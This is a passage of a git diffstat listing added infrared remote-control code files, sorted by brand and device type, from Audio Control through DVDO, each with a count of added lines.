Authority/Switcher/64,159.ir | 140 + .../Audio Control/Pre-Amplifier/16,-1.ir | 470 + .../Audio Control/Pre-Amplifier/17,-1.ir | 92 + .../Audio Control/Pre-Amplifier/23,-1.ir | 140 + .../Audio Control/Processor/16,-1.ir | 350 + .../Audio Control/Receiver/16,-1.ir | 362 + .../Audio Control/Receiver/17,-1.ir | 128 + .../Audio Control/Receiver/23,-1.ir | 158 + .../Audio Refinement/Amplifier/20,-1.ir | 116 + .../Audio Refinement/CD Player/20,-1.ir | 56 + .../Audio Refinement/Tuner/20,-1.ir | 38 + .../Audio Research/Pre-Amplifier/7,-1.ir | 494 + .../AudioSource/Unknown_SS-Three/6,1.ir | 92 + .../_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir | 218 + .../_CSV-IRDB_/Audiovox/Monitor/128,126.ir | 44 + .../_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir | 146 + .../Audiovox/Unknown_Sirius/16,-1.ir | 128 + .../_CSV-IRDB_/Austar/Cable Box/32,224.ir | 164 + .../AutumnWave/Unknown_Onair/8,-1.ir | 284 + .../Avermedia/Unknown_AVerTV5/0,237.ir | 182 + .../Avermedia/Unknown_Avermedia/64,-1.ir | 188 + .../Avermedia/Unknown_RM-H7/0,237.ir | 206 + .../Avermedia/Unknown_RM-KV/4,-1.ir | 266 + .../Avex/Unknown_AVEX-AV5609/5,-1.ir | 92 + .../Avex/Unknown_AVEX-RC501/5,-1.ir | 170 + .../Avtoolbox/Unknown_hdswitch/32,-1.ir | 56 + .../Axion/Unknown_AXN-6075/2,255.ir | 200 + .../_CSV-IRDB_/Axonix/DVD Player/17,-1.ir | 410 + .../_CSV-IRDB_/Axonix/Media Server/17,-1.ir | 212 + .../_CSV-IRDB_/Axonix/MediaMax/17,20.ir | 470 + .../_CSV-IRDB_/Ayre/Amplifier/16,-1.ir | 122 + .../_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir | 260 + .../_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir | 80 + .../_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir | 200 + .../_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir | 302 + .../_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir | 302 + .../_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir | 302 + .../BTX/Drapery Controller/145,-1.ir | 8 + .../BTX/Drapery Controller/146,-1.ir | 8 + .../BTX/Drapery Controller/147,-1.ir | 8 + .../BTX/Drapery Controller/148,-1.ir | 8 + .../BTX/Drapery Controller/193,-1.ir | 8 + .../BTX/Drapery Controller/194,-1.ir | 8 + .../BTX/Drapery Controller/195,-1.ir | 8 + .../BTX/Drapery Controller/196,-1.ir | 8 + .../BTX/Drapery Controller/81,-1.ir | 8 + .../BTX/Drapery Controller/82,-1.ir | 8 + .../BTX/Drapery Controller/83,-1.ir | 8 + .../BTX/Drapery Controller/84,-1.ir | 8 + .../Bang Olufsen/CD Player/26,73.ir | 38 + .../_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir | 302 + .../_CSV-IRDB_/Barco/Video Projector/0,-1.ir | 266 + .../_CSV-IRDB_/Barco/Video Projector/18,-1.ir | 254 + .../_CSV-IRDB_/Barix/CD Jukebox/0,127.ir | 146 + .../_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir | 170 + .../_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir | 206 + .../_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir | 110 + .../_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir | 218 + .../_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir | 92 + .../_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir | 8 + .../_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir | 8 + .../Bell ExpressVu/Satellite/0,0.ir | 170 + .../Bell ExpressVu/Satellite/1,0.ir | 50 + .../Bell ExpressVu/Satellite/16,0.ir | 14 + .../infrared/_CSV-IRDB_/Bell/Satellite/0,0.ir | 242 + .../infrared/_CSV-IRDB_/Bell/Satellite/0,1.ir | 140 + .../infrared/_CSV-IRDB_/Bell/Satellite/0,2.ir | 170 + .../infrared/_CSV-IRDB_/Bell/Satellite/1,0.ir | 68 + .../infrared/_CSV-IRDB_/Bell/Satellite/1,1.ir | 50 + .../infrared/_CSV-IRDB_/Bell/Satellite/1,2.ir | 68 + .../_CSV-IRDB_/Bell/Satellite/128,0.ir | 14 + .../_CSV-IRDB_/Bell/Satellite/16,1.ir | 8 + .../_CSV-IRDB_/Bell/Satellite/24,0.ir | 32 + .../_CSV-IRDB_/Bell/Satellite/7,-1.ir | 8 + .../_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir | 266 + .../_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir | 92 + .../_CSV-IRDB_/BenQ/Projector/48,-1.ir | 128 + .../_CSV-IRDB_/BenQ/Projector/72,80.ir | 14 + .../_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir | 236 + .../_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir | 98 + .../_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir | 224 + .../_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir | 152 + .../_CSV-IRDB_/Big Ben/Game Console/67,164.ir | 92 + .../_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir | 200 + .../BnK_Components/2-Channel Preamp/11,-1.ir | 8 + .../BnK_Components/2-Channel Preamp/11,79.ir | 518 + .../BnK_Components/6 Zone Receiver/11,79.ir | 326 + .../BnK_Components/6 Zone Receiver/123,72.ir | 326 + .../BnK_Components/6 Zone Receiver/139,71.ir | 332 + .../BnK_Components/6 Zone Receiver/187,-1.ir | 326 + .../BnK_Components/6 Zone Receiver/203,67.ir | 326 + .../BnK_Components/6 Zone Receiver/219,66.ir | 326 + .../BnK_Components/6 Zone Receiver/242,208.ir | 668 + .../BnK_Components/6 Zone Receiver/243,192.ir | 458 + .../BnK_Components/6 Zone Receiver/251,64.ir | 326 + .../BnK_Components/6 Zone Receiver/27,78.ir | 386 + .../BnK_Components/6 Zone Receiver/43,77.ir | 326 + .../BnK_Components/6 Zone Receiver/59,76.ir | 302 + .../BnK_Components/6 Zone Receiver/75,75.ir | 326 + .../BnK_Components/6 Zone Receiver/91,74.ir | 326 + .../BnK_Components/Matrix Switcher/0,-1.ir | 260 + .../BnK_Components/Matrix Switcher/103,137.ir | 224 + .../BnK_Components/Matrix Switcher/108,57.ir | 320 + .../BnK_Components/Matrix Switcher/111,9.ir | 200 + .../BnK_Components/Matrix Switcher/119,-1.ir | 272 + .../BnK_Components/Matrix Switcher/123,72.ir | 326 + .../BnK_Components/Matrix Switcher/127,8.ir | 230 + .../BnK_Components/Matrix Switcher/128,247.ir | 266 + .../BnK_Components/Matrix Switcher/135,135.ir | 188 + .../BnK_Components/Matrix Switcher/143,7.ir | 344 + .../BnK_Components/Matrix Switcher/15,15.ir | 230 + .../BnK_Components/Matrix Switcher/159,6.ir | 278 + .../BnK_Components/Matrix Switcher/167,133.ir | 248 + .../BnK_Components/Matrix Switcher/172,53.ir | 350 + .../BnK_Components/Matrix Switcher/183,132.ir | 212 + .../BnK_Components/Matrix Switcher/187,-1.ir | 326 + .../BnK_Components/Matrix Switcher/192,243.ir | 272 + .../BnK_Components/Matrix Switcher/199,131.ir | 38 + .../BnK_Components/Matrix Switcher/204,-1.ir | 254 + .../BnK_Components/Matrix Switcher/219,66.ir | 374 + .../BnK_Components/Matrix Switcher/223,2.ir | 188 + .../BnK_Components/Matrix Switcher/23,142.ir | 254 + .../BnK_Components/Matrix Switcher/239,1.ir | 278 + .../BnK_Components/Matrix Switcher/242,208.ir | 530 + .../BnK_Components/Matrix Switcher/243,192.ir | 590 + .../BnK_Components/Matrix Switcher/247,128.ir | 206 + .../BnK_Components/Matrix Switcher/251,64.ir | 326 + .../BnK_Components/Matrix Switcher/255,-1.ir | 248 + .../BnK_Components/Matrix Switcher/31,14.ir | 230 + .../BnK_Components/Matrix Switcher/39,141.ir | 224 + .../BnK_Components/Matrix Switcher/44,61.ir | 314 + .../BnK_Components/Matrix Switcher/55,140.ir | 80 + .../BnK_Components/Matrix Switcher/59,76.ir | 302 + .../BnK_Components/Matrix Switcher/63,12.ir | 254 + .../BnK_Components/Matrix Switcher/64,251.ir | 260 + .../BnK_Components/Matrix Switcher/7,143.ir | 188 + .../BnK_Components/Matrix Switcher/71,139.ir | 248 + .../BnK_Components/Matrix Switcher/76,59.ir | 260 + .../BnK_Components/Matrix Switcher/79,11.ir | 86 + .../BnK_Components/Matrix Switcher/91,74.ir | 326 + .../BnK_Components/Matrix Switcher/95,10.ir | 242 + .../Multi-Zone Receiver/103,137.ir | 338 + .../Multi-Zone Receiver/119,-1.ir | 326 + .../Multi-Zone Receiver/123,72.ir | 338 + .../Multi-Zone Receiver/135,135.ir | 338 + .../Multi-Zone Receiver/143,7.ir | 338 + .../Multi-Zone Receiver/15,15.ir | 338 + .../Multi-Zone Receiver/151,134.ir | 338 + .../Multi-Zone Receiver/167,133.ir | 338 + .../Multi-Zone Receiver/183,132.ir | 338 + .../Multi-Zone Receiver/187,-1.ir | 338 + .../Multi-Zone Receiver/199,131.ir | 338 + .../Multi-Zone Receiver/215,130.ir | 338 + .../Multi-Zone Receiver/219,66.ir | 338 + .../Multi-Zone Receiver/23,142.ir | 338 + .../Multi-Zone Receiver/231,129.ir | 338 + .../Multi-Zone Receiver/242,208.ir | 338 + .../Multi-Zone Receiver/243,192.ir | 338 + .../Multi-Zone Receiver/247,128.ir | 338 + .../Multi-Zone Receiver/251,64.ir | 338 + .../Multi-Zone Receiver/31,14.ir | 338 + .../Multi-Zone Receiver/39,141.ir | 338 + .../Multi-Zone Receiver/55,140.ir | 338 + .../Multi-Zone Receiver/59,76.ir | 338 + .../Multi-Zone Receiver/7,143.ir | 338 + .../Multi-Zone Receiver/71,139.ir | 338 + .../Multi-Zone Receiver/79,11.ir | 338 + .../Multi-Zone Receiver/87,138.ir | 338 + .../Multi-Zone Receiver/91,74.ir | 344 + .../BnK_Components/Pre-Amplifier/11,-1.ir | 8 + .../BnK_Components/Pre-Amplifier/11,79.ir | 566 + .../BnK_Components/Pre-Amplifier/139,71.ir | 398 + .../BnK_Components/Pre-Amplifier/203,67.ir | 392 + .../BnK_Components/Pre-Amplifier/27,78.ir | 1850 ++ .../BnK_Components/Pre-Amplifier/5,1.ir | 182 + .../BnK_Components/Pre-Amplifier/6,1.ir | 176 + .../BnK_Components/Receiver/139,71.ir | 398 + .../BnK_Components/Receiver/203,67.ir | 392 + .../BnK_Components/Receiver/27,78.ir | 1766 ++ .../Surround Processor/11,79.ir | 440 + .../Surround Processor/27,78.ir | 590 + .../Theater Preamplifier/139,71.ir | 398 + .../Theater Preamplifier/203,67.ir | 392 + .../Theater Preamplifier/27,78.ir | 392 + .../BnK_Components/Theater-Zone 2/11,79.ir | 254 + .../BnK_Components/Theater-Zone 2/43,77.ir | 254 + .../BnK_Components/Theater-Zone 2/75,75.ir | 254 + .../_CSV-IRDB_/Bogen/Amplifier/1,-1.ir | 128 + .../infrared/_CSV-IRDB_/Bose/3-2-1/186,75.ir | 236 + .../_CSV-IRDB_/Bose/CCF Conversion/186,133.ir | 152 + .../_CSV-IRDB_/Bose/CCF Conversion/186,213.ir | 164 + .../_CSV-IRDB_/Bose/CCF Conversion/186,229.ir | 152 + .../_CSV-IRDB_/Bose/CCF Conversion/186,85.ir | 392 + .../_CSV-IRDB_/Bose/Lifestyle/186,1.ir | 266 + .../_CSV-IRDB_/Bose/Lifestyle/186,136.ir | 320 + .../_CSV-IRDB_/Bose/Lifestyle/186,160.ir | 908 + .../_CSV-IRDB_/Bose/Lifestyle/186,161.ir | 296 + .../_CSV-IRDB_/Bose/Lifestyle/186,162.ir | 302 + .../_CSV-IRDB_/Bose/Lifestyle/186,163.ir | 296 + .../_CSV-IRDB_/Bose/Lifestyle/186,164.ir | 296 + .../_CSV-IRDB_/Bose/Lifestyle/186,165.ir | 260 + .../_CSV-IRDB_/Bose/Lifestyle/186,166.ir | 266 + .../_CSV-IRDB_/Bose/Lifestyle/186,167.ir | 260 + .../_CSV-IRDB_/Bose/Lifestyle/186,168.ir | 260 + .../_CSV-IRDB_/Bose/Lifestyle/186,169.ir | 260 + .../_CSV-IRDB_/Bose/Lifestyle/186,170.ir | 272 + .../_CSV-IRDB_/Bose/Lifestyle/186,171.ir | 260 + .../_CSV-IRDB_/Bose/Lifestyle/186,172.ir | 260 + .../_CSV-IRDB_/Bose/Lifestyle/186,173.ir | 260 + .../_CSV-IRDB_/Bose/Lifestyle/186,174.ir | 260 + .../_CSV-IRDB_/Bose/Lifestyle/186,176.ir | 350 + .../_CSV-IRDB_/Bose/Lifestyle/186,177.ir | 578 + .../_CSV-IRDB_/Bose/Lifestyle/186,178.ir | 584 + .../_CSV-IRDB_/Bose/Lifestyle/186,179.ir | 572 + .../_CSV-IRDB_/Bose/Lifestyle/186,180.ir | 578 + .../_CSV-IRDB_/Bose/Lifestyle/186,181.ir | 350 + .../_CSV-IRDB_/Bose/Lifestyle/186,182.ir | 350 + .../_CSV-IRDB_/Bose/Lifestyle/186,183.ir | 350 + .../_CSV-IRDB_/Bose/Lifestyle/186,184.ir | 350 + .../_CSV-IRDB_/Bose/Lifestyle/186,185.ir | 350 + .../_CSV-IRDB_/Bose/Lifestyle/186,186.ir | 350 + .../_CSV-IRDB_/Bose/Lifestyle/186,187.ir | 350 + .../_CSV-IRDB_/Bose/Lifestyle/186,188.ir | 350 + .../_CSV-IRDB_/Bose/Lifestyle/186,189.ir | 350 + .../_CSV-IRDB_/Bose/Lifestyle/186,190.ir | 422 + .../_CSV-IRDB_/Bose/Lifestyle/186,191.ir | 350 + .../_CSV-IRDB_/Bose/Lifestyle/186,85.ir | 146 + .../_CSV-IRDB_/Bose/Media Center/1,-1.ir | 8 + .../_CSV-IRDB_/Bose/Media Center/186,136.ir | 284 + .../_CSV-IRDB_/Bose/Music Center/186,133.ir | 146 + .../_CSV-IRDB_/Bose/Music Center/186,213.ir | 230 + .../_CSV-IRDB_/Bose/Music Center/186,229.ir | 146 + .../_CSV-IRDB_/Bose/Music Center/186,85.ir | 278 + .../_CSV-IRDB_/Bose/Receiver/186,160.ir | 26 + .../_CSV-IRDB_/Bose/Receiver/186,75.ir | 806 + .../infrared/_CSV-IRDB_/Bose/System/186,85.ir | 140 + .../infrared/_CSV-IRDB_/Bose/Tuner/186,85.ir | 134 + .../Bose/Unknown_WAVERADIO/186,-1.ir | 110 + .../_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir | 158 + .../_CSV-IRDB_/Boxlight/Projector/135,78.ir | 26 + .../_CSV-IRDB_/Boxlight/Projector/48,-1.ir | 98 + .../_CSV-IRDB_/Boxlight/Projector/48,206.ir | 8 + .../_CSV-IRDB_/Broksonic/VCR/128,123.ir | 38 + .../_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir | 134 + .../_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir | 158 + .../infrared/_CSV-IRDB_/Bush/Light/29,-1.ir | 32 + .../_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir | 188 + .../_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir | 194 + .../_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir | 230 + .../infrared/_CSV-IRDB_/ByDesign/LCD/71,-1.ir | 44 + .../_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir | 254 + .../_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir | 242 + .../_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir | 272 + .../_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir | 206 + .../infrared/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir | 164 + .../_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir | 188 + .../_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir | 14 + .../_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir | 236 + .../_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir | 14 + .../_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir | 80 + .../_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir | 38 + .../_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir | 68 + .../_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir | 74 + .../_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir | 92 + .../_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir | 152 + .../_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir | 32 + .../_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir | 20 + .../_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir | 152 + .../_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir | 8 + .../_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir | 182 + .../_CSV-IRDB_/CIS BOX/Receiver/25,107.ir | 80 + .../_CSV-IRDB_/CIS BOX/Receiver/25,11.ir | 26 + .../_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir | 14 + .../_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir | 14 + .../infrared/_CSV-IRDB_/CIS BOX/TV/1,-1.ir | 92 + .../infrared/_CSV-IRDB_/CIS BOX/TV/164,-1.ir | 20 + .../infrared/_CSV-IRDB_/CIS BOX/TV/26,26.ir | 74 + .../infrared/_CSV-IRDB_/CIS BOX/TV/84,-1.ir | 26 + .../infrared/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir | 122 + .../_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir | 158 + .../Cables to Go/VGA Switcher/0,191.ir | 38 + .../_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir | 50 + .../_CSV-IRDB_/Calypso/Amplifier/17,-1.ir | 74 + .../_CSV-IRDB_/Calypso/Control System/1,-1.ir | 290 + .../Calypso/Control System/17,-1.ir | 290 + .../_CSV-IRDB_/Calypso/Control System/7,-1.ir | 188 + .../Cambridge Audio/DVD Player/12,-1.ir | 284 + .../Cambridge Audio/DVD Player/7,-1.ir | 284 + .../Cambridge Audio/Receiver/16,-1.ir | 416 + .../Cambridge Audio/Receiver/19,-1.ir | 80 + .../Cambridge Audio/Receiver/192,192.ir | 212 + .../Cambridge Audio/Receiver/192,63.ir | 116 + .../Cambridge Audio/Unknown_Audio/192,192.ir | 212 + .../Cambridge Audio/Unknown_X40A/16,-1.ir | 116 + .../Camera/Camera Multi Plex/133,115.ir | 146 + .../_CSV-IRDB_/Canalsat/Satellite/10,-1.ir | 182 + .../Canalsat/Unknown_CanalSat/10,-1.ir | 182 + .../Canalsat/Unknown_CanalSatHD/10,-1.ir | 272 + .../_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir | 68 + .../Canon/Unknown_WL-D77/133,118.ir | 212 + .../Canon/Unknown_WL-D80/133,118.ir | 170 + .../Canon/Unknown_WL-DC100/202,177.ir | 50 + .../_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir | 116 + .../_CSV-IRDB_/Canon/Unknown_canon/133,118.ir | 182 + .../_CSV-IRDB_/Canon/Video Projector/129,6.ir | 152 + .../Captain/Unknown_7100usb/4,250.ir | 104 + .../_CSV-IRDB_/Carver/Amplifier/135,123.ir | 200 + .../_CSV-IRDB_/Carver/CD Player/135,123.ir | 362 + .../_CSV-IRDB_/Carver/CD Player/20,-1.ir | 158 + .../_CSV-IRDB_/Carver/CD Player/42,-1.ir | 146 + .../_CSV-IRDB_/Carver/CD Player/60,-1.ir | 206 + .../_CSV-IRDB_/Carver/CD Player/68,-1.ir | 218 + .../_CSV-IRDB_/Carver/CD Player/99,0.ir | 134 + .../Carver/Cassette Tape/130,111.ir | 50 + .../Carver/Cassette Tape/135,126.ir | 38 + .../_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir | 68 + .../_CSV-IRDB_/Carver/Laser Disc/102,0.ir | 26 + .../_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir | 8 + .../_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir | 8 + .../Carver/Pre-Amplifier/135,123.ir | 80 + .../_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir | 38 + .../_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir | 8 + .../_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir | 8 + .../_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir | 8 + .../_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir | 8 + .../_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir | 8 + .../_CSV-IRDB_/Carver/Receiver/0,-1.ir | 8 + .../_CSV-IRDB_/Carver/Receiver/12,-1.ir | 14 + .../_CSV-IRDB_/Carver/Receiver/135,123.ir | 224 + .../_CSV-IRDB_/Carver/Receiver/16,-1.ir | 14 + .../_CSV-IRDB_/Carver/Receiver/17,-1.ir | 14 + .../_CSV-IRDB_/Carver/Receiver/20,-1.ir | 8 + .../_CSV-IRDB_/Carver/Receiver/5,-1.ir | 50 + .../_CSV-IRDB_/Carver/Tuner/135,123.ir | 194 + .../infrared/_CSV-IRDB_/Carver/Tuner/16,-1.ir | 14 + .../infrared/_CSV-IRDB_/Carver/Tuner/17,-1.ir | 14 + .../infrared/_CSV-IRDB_/Carver/Tuner/20,-1.ir | 8 + .../Cary Audio Design/CD Player/4,-1.ir | 218 + .../Cary Audio Design/DVD Player/23,-1.ir | 212 + .../Cary Audio Design/Receiver/19,-1.ir | 236 + .../_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir | 98 + .../_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir | 146 + .../_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir | 158 + .../_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir | 176 + .../_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir | 224 + .../_CSV-IRDB_/Celadon/IR to RS232/123,2.ir | 68 + .../Centrum/Unknown_Gemini/29,-1.ir | 224 + .../_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir | 230 + .../Century Concept/Unknown_dvd/0,246.ir | 104 + .../Channel Master/Satellite/132,99.ir | 194 + .../Channel Plus/Video Switcher/49,235.ir | 32 + .../Chaparral/Unknown_11-5315-1/128,103.ir | 164 + .../Motorized Lift/130,19.ir | 44 + .../Motorized Lift/48,-1.ir | 68 + .../_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir | 236 + .../_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir | 218 + .../infrared/_CSV-IRDB_/Cisco/DVR/35,64.ir | 128 + .../Citation/Surround Processor/132,66.ir | 236 + .../Citizen/Unknown_JX-2022C/0,-1.ir | 278 + .../Classe Audio/Amplifier/201,-1.ir | 266 + .../_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir | 98 + .../_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir | 62 + .../Classe Audio/CD Player/134,97.ir | 128 + .../Classe Audio/CD Player/20,-1.ir | 266 + .../_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir | 266 + .../_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir | 110 + .../_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir | 302 + .../Classe Audio/DVD Player/12,-1.ir | 386 + .../Classe Audio/DVD Player/20,-1.ir | 290 + .../Classe Audio/DVD Player/200,-1.ir | 50 + .../Classe Audio/DVD Player/25,-1.ir | 38 + .../Classe Audio/DVD Player/4,-1.ir | 344 + .../Classe Audio/DVD Player/7,-1.ir | 38 + .../Classe Audio/Integrated Amplifier/7,-1.ir | 230 + .../Classe Audio/Pre-Amplifier/16,-1.ir | 326 + .../Classe Audio/Pre-Amplifier/200,-1.ir | 110 + .../Classe Audio/Pre-Amplifier/25,-1.ir | 284 + .../Classe Audio/Pre-Amplifier/3,-1.ir | 374 + .../Classe Audio/Pre-Amplifier/7,-1.ir | 398 + .../_CSV-IRDB_/Classe Audio/SACD/20,-1.ir | 434 + .../_CSV-IRDB_/Classe Audio/SACD/7,-1.ir | 38 + .../Classe Audio/Surround Processor/116,-1.ir | 1046 ++ .../Classe Audio/Surround Processor/200,-1.ir | 110 + .../Classe Audio/Surround Processor/25,-1.ir | 758 + .../Classe Audio/Surround Sound/116,-1.ir | 1046 ++ .../Classe Audio/Surround Sound/200,-1.ir | 110 + .../_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir | 326 + .../_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir | 38 + .../_CSV-IRDB_/Coby/DVD Player/0,-1.ir | 92 + .../infrared/_CSV-IRDB_/Coby/TV/0,127.ir | 218 + .../Colorado Vnet/Music Server/110,146.ir | 92 + .../_CSV-IRDB_/Comcast/Cable Box/0,-1.ir | 536 + .../_CSV-IRDB_/Comcast/Cable Box/1,-1.ir | 20 + .../_CSV-IRDB_/Comcast/Cable Box/14,-1.ir | 8 + .../_CSV-IRDB_/Comcast/Cable Box/15,-1.ir | 56 + .../_CSV-IRDB_/Comcast/Cable Box/27,-1.ir | 146 + .../_CSV-IRDB_/Comcast/Cable Box/62,16.ir | 464 + .../_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir | 20 + .../_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir | 146 + .../Comcast/HD Cable with DVR/0,-1.ir | 260 + .../Comcast/HD Cable with DVR/14,-1.ir | 8 + .../_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir | 164 + .../Compro/Unknown_DVB-T200/128,126.ir | 224 + .../Compro/Unknown_VideoMate-K300/4,15.ir | 290 + .../_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir | 170 + .../_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir | 386 + .../Contour/Unknown_Contour25/65,0.ir | 146 + .../_CSV-IRDB_/Cool Sat/Satellite/64,64.ir | 278 + .../_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir | 188 + .../_CSV-IRDB_/Copland/CD Player/128,114.ir | 188 + .../_CSV-IRDB_/Copland/CD Player/129,49.ir | 50 + .../_CSV-IRDB_/Corvo/Relaybox/27,-1.ir | 50 + .../_CSV-IRDB_/Cox/Digital Cable/0,-1.ir | 182 + .../_CSV-IRDB_/Cox/Digital Cable/1,-1.ir | 20 + .../Cph03x/Unknown_AS-218/134,107.ir | 182 + .../Creative/Unknown_DDTS-100/193,68.ir | 104 + .../Creative/Unknown_INFRA/33,172.ir | 146 + .../Creative/Unknown_JUKEBOX3/33,172.ir | 50 + .../Creative/Unknown_RM-1500/193,68.ir | 200 + .../Creative/Unknown_RM-1800/193,68.ir | 266 + .../Creative/Unknown_RM-850/193,68.ir | 146 + .../Creative/Unknown_RM900/193,68.ir | 362 + .../Creative/Unknown_rm1000w/193,68.ir | 206 + .../_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir | 386 + .../_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir | 386 + .../_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir | 386 + .../_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir | 386 + .../_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir | 386 + .../Crestron/Lighting Controller/30,-1.ir | 50 + .../_CSV-IRDB_/Crestron/Music Server/14,-1.ir | 236 + .../_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir | 98 + .../Crown/Unknown_testinglirc.config/0,-1.ir | 248 + .../Curtis Electronics/Unknown_TV/0,-1.ir | 230 + .../_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir | 164 + .../_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir | 68 + .../Cyberhome/DVD Player/114,205.ir | 242 + .../Cyberhome/Unknown_300-RMC-300Z/114,205.ir | 266 + .../Cyberhome/Unknown_504/114,205.ir | 266 + .../Cyberhome/Unknown_ADL-528/114,205.ir | 266 + .../Cyberhome/Unknown_CH-DVD-302/114,205.ir | 266 + .../Cyberhome/Unknown_CH-DVD/114,205.ir | 254 + .../Cyberhome/Unknown_cyberhome/114,205.ir | 152 + .../Cypress/Unknown_CR-72/64,175.ir | 32 + .../Cyron/Lighting Controller/2,189.ir | 182 + .../_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir | 200 + .../_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir | 230 + .../_CSV-IRDB_/D-LINK/Media Center/8,230.ir | 254 + .../_CSV-IRDB_/D-LINK/Media Center/8,231.ir | 242 + .../_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir | 260 + .../_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir | 146 + .../_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir | 74 + .../DIFRNCE/Unknown_DVD5010S/0,-1.ir | 284 + .../_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir | 206 + .../DK Digital/Unknown_Digital/0,-1.ir | 284 + .../_CSV-IRDB_/DLO/HomeDock/238,135.ir | 254 + .../_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir | 200 + .../_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir | 296 + .../_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir | 194 + .../infrared/_CSV-IRDB_/DVDO/Scaler/0,45.ir | 8 + .../infrared/_CSV-IRDB_/DVDO/Scaler/132,32.ir | 566 + .../_CSV-IRDB_/DVDO/Video Processor/0,45.ir | 8 + .../_CSV-IRDB_/DVDO/Video Processor/132,32.ir 